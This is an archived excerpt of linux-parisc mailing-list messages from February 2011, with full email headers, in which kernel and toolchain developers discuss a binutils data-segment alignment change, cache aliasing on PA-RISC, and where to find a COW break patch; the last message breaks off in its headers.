Message-ID: <AANLkTimD=2ESSMormpZ+coo40GyLDYGeNPrwvdYVM61G@mail.gmail.com>
References: <20110210170033.4317E4ED8@hiauly1.hia.nrc.ca>
	<20110210200044.203164E01@hiauly1.hia.nrc.ca>
	<20110212161846.GA24076@hiauly1.hia.nrc.ca>
	<20110213193934.GA28834@hiauly1.hia.nrc.ca>
	<20110215015852.GA6615@hiauly1.hia.nrc.ca>
	<AANLkTimZntmJQ5msVr56=V7P8pYGXizpVGinZYrvBsSt@mail.gmail.com>
	<20110217003032.GA26155@hiauly1.hia.nrc.ca>
	<20110218184030.GA15510@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1298058005 24206 80.91.229.12 (18 Feb 2011 19:40:05 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 18 Feb 2011 19:40:05 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	James.Bottomley@hansenpartnership.com, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 18 20:40:00 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PqWBM-0008KJ-4a
	for glpp-linux-parisc@lo.gmane.org; Fri, 18 Feb 2011 20:40:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758380Ab1BRTj7 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Feb 2011 14:39:59 -0500
Original-Received: from mail-bw0-f46.google.com ([209.85.214.46]:44757 "EHLO
	mail-bw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758376Ab1BRTj6 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Feb 2011 14:39:58 -0500
Original-Received: by bwz15 with SMTP id 15so1061334bwz.19
        for <linux-parisc@vger.kernel.org>; Fri, 18 Feb 2011 11:39:57 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=rCnK1ABmt1aWGrlrJMSgxVZ//SFJXmva4dx3jt8lHHo=;
        b=FOomWBxz0zdrcPzxGlJ9CPf0djLXXLklE0SKPqFxzdDqdfM+GBXIqiocObkGNi9Tzl
         YjiJdkONaX7lPkHKuxw6f6rNqkgyn5CbLcLHysb5R6BZnc4JRg4MR4MqywYxSbdT2GvH
         LY3oulWsg6qgyQKZ5MSYk+VI0vuXpLXXMGjoU=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=i/ELDZ8Gmkpi0O/398xplGRq/WQ0D+9qz0OvRJ6vA6hWwws/Aaq0BOyYVBPOOLqFw+
         vHAMMLVATB2V/zXF2TMxfHoRe8qdLF6K7esKcSCchFV2Dv//pViQY4/9STw0X32equRS
         BBtX/N62IYgycDMuOwBU1FF+ysRunHc+t3bWM=
Original-Received: by 10.204.46.130 with SMTP id j2mr1051785bkf.169.1298057997086; Fri,
 18 Feb 2011 11:39:57 -0800 (PST)
Original-Received: by 10.204.69.130 with HTTP; Fri, 18 Feb 2011 11:39:57 -0800 (PST)
In-Reply-To: <20110218184030.GA15510@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: AFvfnQgYb2U08E9dRGGeRgkqlaE
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3474
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3474>

On Fri, Feb 18, 2011 at 1:40 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> On Wed, 16 Feb 2011, John David Anglin wrote:
>
>> I would like to apply the following binutils change to align data
>> segments to a page boundary. =A0However, it breaks building glibc.
>> Problem occurs in call_init trying to run constructors for new
>> libc.so.6.
>
> After investigation, I found that the change to emulparams/hppalinux.=
sh
> was not the cause of the glibc breakage. =A0So, I have committed the =
change
> to align data segments to a maxpagesize boundary (currently 0x1000).
>
> This fixes one source of inequivalent aliases at the expense of
> somewhat larger binaries.

A minor loss for a significant gain :-)

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: binutils change break glibc build
Date: Fri, 18 Feb 2011 14:31:52 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <AANLkTi=UhROKG6OPxjJ6P92qOvE_oGkgMWQ8Vdr_9u=m@mail.gmail.com>
References: <20110210170033.4317E4ED8@hiauly1.hia.nrc.ca> <20110210200044.203164E01@hiauly1.hia.nrc.ca>
 <20110212161846.GA24076@hiauly1.hia.nrc.ca> <20110213193934.GA28834@hiauly1.hia.nrc.ca>
 <20110215015852.GA6615@hiauly1.hia.nrc.ca> <AANLkTimZntmJQ5msVr56=V7P8pYGXizpVGinZYrvBsSt@mail.gmail.com>
 <20110217003032.GA26155@hiauly1.hia.nrc.ca> <20110218184030.GA15510@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1298058302 25755 80.91.229.12 (18 Feb 2011 19:45:02 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 18 Feb 2011 19:45:02 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	"Carlos O'Donell" <carlos@systemhalted.org>,
	James.Bottomley@hansenpartnership.com, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 18 20:44:57 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PqWG8-00030a-L5
	for glpp-linux-parisc@lo.gmane.org; Fri, 18 Feb 2011 20:44:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755412Ab1BRToz convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Feb 2011 14:44:55 -0500
Original-Received: from mail-fx0-f46.google.com ([209.85.161.46]:61571 "EHLO
	mail-fx0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754773Ab1BRToz convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Feb 2011 14:44:55 -0500
Original-Received: by fxm20 with SMTP id 20so4140825fxm.19
        for <linux-parisc@vger.kernel.org>; Fri, 18 Feb 2011 11:44:54 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:in-reply-to:references:from
         :date:x-google-sender-auth:message-id:subject:to:cc:content-type
         :content-transfer-encoding;
        bh=ogakaNn8y0uG8HPslmvvLDQ59ip7Vd5MYRRDNoKVACM=;
        b=GNnAfwMnuojflfHgS4dNEMh1/Lj2xLnUifECEG4jfH4bs5DwKzQkbueunRPwy8z4re
         XhMy78+C744Ntly+BOhkLZhJHZWpbnym83R0e2J1TXWho7CefgkZf54J0g05xay6gTnI
         7OuS++RAeP7uGzKrh5PJXJHP8aa1E9M5y/sRk=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:cc:content-type
         :content-transfer-encoding;
        b=X2nTGlnjXeim3PZmgX7ZOdll6sCPHcjZwlV5Qampjzume+32oBixzexQy1zS3839ez
         QdAL4xamIwKfr+rg/G9XPNP9dIug+y5lH8retryhBWnnO0NYcPyV+6PaDJGEXEmo+J9j
         0zTho7o60EmkdgPEjNxnzhr5CoVFvP2MQFc84=
Original-Received: by 10.223.86.2 with SMTP id q2mr621573fal.139.1298058233281; Fri, 18
 Feb 2011 11:43:53 -0800 (PST)
Original-Received: by 10.223.115.140 with HTTP; Fri, 18 Feb 2011 11:31:52 -0800 (PST)
In-Reply-To: <20110218184030.GA15510@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 5NpBMXcIQ9YW2T56fkpR61Cg1X4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3475
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3475>

On Fri, Feb 18, 2011 at 1:40 PM, John David Anglin wrote:
> On Wed, 16 Feb 2011, John David Anglin wrote:
>> I would like to apply the following binutils change to align data
>> segments to a page boundary. =A0However, it breaks building glibc.
>> Problem occurs in call_init trying to run constructors for new
>> libc.so.6.
>
> After investigation, I found that the change to emulparams/hppalinux.=
sh
> was not the cause of the glibc breakage. =A0So, I have committed the =
change
> to align data segments to a maxpagesize boundary (currently 0x1000).
>
> This fixes one source of inequivalent aliases at the expense of
> somewhat larger binaries.

as long as we dont move to the ridiculous mips-sized default
alignment, i'm sure the new behavior is more sane ;)
-mike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: binutils change break glibc build
Date: Mon, 21 Feb 2011 19:13:56 -0500
Organization: nrc.ca
Lines: 22
Approved: news@gmane.org
Message-ID: <20110222001355.GA21523@hiauly1.hia.nrc.ca>
References: <20110210170033.4317E4ED8@hiauly1.hia.nrc.ca> <20110210200044.203164E01@hiauly1.hia.nrc.ca> <20110212161846.GA24076@hiauly1.hia.nrc.ca> <20110213193934.GA28834@hiauly1.hia.nrc.ca> <20110215015852.GA6615@hiauly1.hia.nrc.ca> <AANLkTimZntmJQ5msVr56=V7P8pYGXizpVGinZYrvBsSt@mail.gmail.com> <20110217003032.GA26155@hiauly1.hia.nrc.ca> <20110218184030.GA15510@hiauly1.hia.nrc.ca> <AANLkTimD=2ESSMormpZ+coo40GyLDYGeNPrwvdYVM61G@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1298333646 28582 80.91.229.12 (22 Feb 2011 00:14:06 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 22 Feb 2011 00:14:06 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	James.Bottomley@hansenpartnership.com, linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 22 01:14:01 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PrftA-0001lS-WD
	for glpp-linux-parisc@lo.gmane.org; Tue, 22 Feb 2011 01:14:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751920Ab1BVAOA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 Feb 2011 19:14:00 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:1372 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751914Ab1BVAN7 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 Feb 2011 19:13:59 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 25A604FB2; Mon, 21 Feb 2011 19:13:56 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <AANLkTimD=2ESSMormpZ+coo40GyLDYGeNPrwvdYVM61G@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3476
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3476>

On Fri, 18 Feb 2011, Carlos O'Donell wrote:

> > This fixes one source of inequivalent aliases at the expense of
> > somewhat larger binaries.
> 
> A minor loss for a significant gain :-)

After rebuilding glibc with the new binutils, I no longer see any
INEQUIVALENT ALIASES messages building and checking GCC.

My suggestion to use VM_WRITE doesn't work as a method to distinguish
aliases as gdb sets up writeable maps to text pages.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: binutils change break glibc build
Date: Tue, 22 Feb 2011 10:07:16 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <AANLkTi=noWe9hcpQotdCXz-K2kQL935Ha8rR6f1Lwt-h@mail.gmail.com>
References: <20110210170033.4317E4ED8@hiauly1.hia.nrc.ca>
	<20110210200044.203164E01@hiauly1.hia.nrc.ca>
	<20110212161846.GA24076@hiauly1.hia.nrc.ca>
	<20110213193934.GA28834@hiauly1.hia.nrc.ca>
	<20110215015852.GA6615@hiauly1.hia.nrc.ca>
	<AANLkTimZntmJQ5msVr56=V7P8pYGXizpVGinZYrvBsSt@mail.gmail.com>
	<20110217003032.GA26155@hiauly1.hia.nrc.ca>
	<20110218184030.GA15510@hiauly1.hia.nrc.ca>
	<AANLkTimD=2ESSMormpZ+coo40GyLDYGeNPrwvdYVM61G@mail.gmail.com>
	<20110222001355.GA21523@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1298387248 17819 80.91.229.12 (22 Feb 2011 15:07:28 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 22 Feb 2011 15:07:28 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	James.Bottomley@hansenpartnership.com, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 22 16:07:24 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Prtpj-0000QN-T0
	for glpp-linux-parisc@lo.gmane.org; Tue, 22 Feb 2011 16:07:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753220Ab1BVPHW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Feb 2011 10:07:22 -0500
Original-Received: from mail-ew0-f46.google.com ([209.85.215.46]:48787 "EHLO
	mail-ew0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753056Ab1BVPHV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Feb 2011 10:07:21 -0500
Original-Received: by ewy6 with SMTP id 6so935114ewy.19
        for <linux-parisc@vger.kernel.org>; Tue, 22 Feb 2011 07:07:17 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        bh=rGHIiZoncWyc/LfCMLw8KGxmBUpoUuIeM5HDKllDW6Q=;
        b=j3xipS5qW3K1QYpmUuCnRL/8T5okONqBvWZGpbS7etVDq++Eja73FyYSUnbyC5f6JF
         aXr91BP9eUJjIhgXu3Al5qQi/FIeBBuB3/s8FAT3h3wE5baupc/yLRw7NZVfPpuOkbkG
         Mwk7IYbmebsO4gte6QqC6VeaKj+rZl+4/LABU=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=N7yKz7VKyEZeK+0MLAzGZDeh2UT06ecmJpFHvBb6qSVfMmJ8ACzS2MXZg2FUpPxd0L
         0UEDIMwkdi+BNASt2nMOiOsEbY7WMwordnVUotH57mkZxD6fvq7cNsOtpO0g+5wD746g
         nBkiSevtmWjnuYpElTohYzgS1gYLfy3G1Fxok=
Original-Received: by 10.204.64.74 with SMTP id d10mr2613818bki.7.1298387236984; Tue,
 22 Feb 2011 07:07:16 -0800 (PST)
Original-Received: by 10.204.69.130 with HTTP; Tue, 22 Feb 2011 07:07:16 -0800 (PST)
In-Reply-To: <20110222001355.GA21523@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: zaYZFdCxKxpoFEN8gNyZEOCywhI
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3477
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3477>

On Mon, Feb 21, 2011 at 7:13 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> On Fri, 18 Feb 2011, Carlos O'Donell wrote:
>
>> > This fixes one source of inequivalent aliases at the expense of
>> > somewhat larger binaries.
>>
>> A minor loss for a significant gain :-)
>
> After rebuilding glibc with the new binutils, I no longer see any
> INEQUIVALENT ALIASES messages building and checking GCC.
>
> My suggestion to use VM_WRITE doesn't work as a method to distinguish
> aliases as gdb sets up writeable maps to text pages.

Excellent, does that mean that glibc does not create inequivalent
aliases with all of its tom-foolery with mmap?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: binutils change break glibc build
Date: Tue, 22 Feb 2011 11:27:00 -0500
Organization: nrc.ca
Lines: 22
Approved: news@gmane.org
Message-ID: <20110222162700.GA7636@hiauly1.hia.nrc.ca>
References: <20110210200044.203164E01@hiauly1.hia.nrc.ca> <20110212161846.GA24076@hiauly1.hia.nrc.ca> <20110213193934.GA28834@hiauly1.hia.nrc.ca> <20110215015852.GA6615@hiauly1.hia.nrc.ca> <AANLkTimZntmJQ5msVr56=V7P8pYGXizpVGinZYrvBsSt@mail.gmail.com> <20110217003032.GA26155@hiauly1.hia.nrc.ca> <20110218184030.GA15510@hiauly1.hia.nrc.ca> <AANLkTimD=2ESSMormpZ+coo40GyLDYGeNPrwvdYVM61G@mail.gmail.com> <20110222001355.GA21523@hiauly1.hia.nrc.ca> <AANLkTi=noWe9hcpQotdCXz-K2kQL935Ha8rR6f1Lwt-h@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1298392034 14908 80.91.229.12 (22 Feb 2011 16:27:14 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 22 Feb 2011 16:27:14 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	James.Bottomley@hansenpartnership.com, linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 22 17:27:05 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Prv4q-0001xM-JQ
	for glpp-linux-parisc@lo.gmane.org; Tue, 22 Feb 2011 17:27:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754591Ab1BVQ1E (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Feb 2011 11:27:04 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:1825 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754507Ab1BVQ1D (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Feb 2011 11:27:03 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 9099B4FED; Tue, 22 Feb 2011 11:27:01 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <AANLkTi=noWe9hcpQotdCXz-K2kQL935Ha8rR6f1Lwt-h@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3478
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3478>

On Tue, 22 Feb 2011, Carlos O'Donell wrote:

> Excellent, does that mean that glibc does not create inequivalent
> aliases with all of its tom-foolery with mmap?

It's hard to say for sure.  The kernel message only occurs when a
data cache flush is needed for a specific page.  Typically, that's
when a segv or abort occurs.

I believe that we are still doing full cache flushes on exec, exit
and fork.  I tried recently to kill the flush on fork but the kernel
tried to kill init.  This needs more study.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: COW break issue. Where is the patch ?
Date: Tue, 22 Feb 2011 18:24:53 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20110222182453.1d9f33da@borg.bxl.tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1298395676 7276 80.91.229.12 (22 Feb 2011 17:27:56 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 22 Feb 2011 17:27:56 +0000 (UTC)
Cc: "Carlos O'Donell" <carlos@systemhalted.org>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 22 18:27:52 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Prw1f-0003M6-BL
	for glpp-linux-parisc@lo.gmane.org; Tue, 22 Feb 2011 18:27:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751349Ab1BVR1u (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Feb 2011 12:27:50 -0500
Original-Received: from louis.schedom-europe.net ([193.109.184.93]:47116 "EHLO
	louis.schedom-europe.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751131Ab1BVR1u (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Feb 2011 12:27:50 -0500
Original-Received: (qmail 24588 invoked by uid 507); 22 Feb 2011 18:25:09 +0100
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on
	louis.schedom-europe.net
X-Spam-Level: ***********
X-Spam-Status: No, score=11.2 required=15.0 tests=BAYES_99,FH_DATE_PAST_20XX,
	RCVD_IN_PBL,RDNS_DYNAMIC autolearn=disabled version=3.2.5
Original-Received: from ip115.dyn1.liege.schedom-europe.net (HELO ibiza.bxl.tuxicoman.be) (83.101.5.115)
  by louis.schedom-europe.net with SMTP; 22 Feb 2011 18:24:55 +0100
Original-Received: from borg.bxl.tuxicoman.be ([2001:6f8:310:301::1])
	by ibiza.bxl.tuxicoman.be with esmtps (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16)
	(Exim 4.74)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1Prvyo-0000KW-GW; Tue, 22 Feb 2011 18:24:54 +0100
X-Mailer: Claws Mail 3.7.8 (GTK+ 2.20.1; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3479
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3479>



Hi all,

I'm running into some python test failures which I believe is caused by
the COW break issue and I'd like to test the patch out.

I've been trying to look through all the mail threads but I can't find
it.

Can someone let me know where the patch is and possibly send it
upstream ?


Thanks,
  Guy
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: COW break issue. Where is the patch ?
Date: Tue, 22 Feb 2011 13:16:48 -0500
Organization: nrc.ca
Lines: 24
Approved: news@gmane.org
Message-ID: <20110222181648.GA24620@hiauly1.hia.nrc.ca>
References: <20110222182453.1d9f33da@borg.bxl.tuxicoman.be>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1298398622 25085 80.91.229.12 (22 Feb 2011 18:17:02 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 22 Feb 2011 18:17:02 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	Carlos O'Donell <carlos@systemhalted.org>
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 22 19:16:58 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PrwnB-0000p2-8K
	for glpp-linux-parisc@lo.gmane.org; Tue, 22 Feb 2011 19:16:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
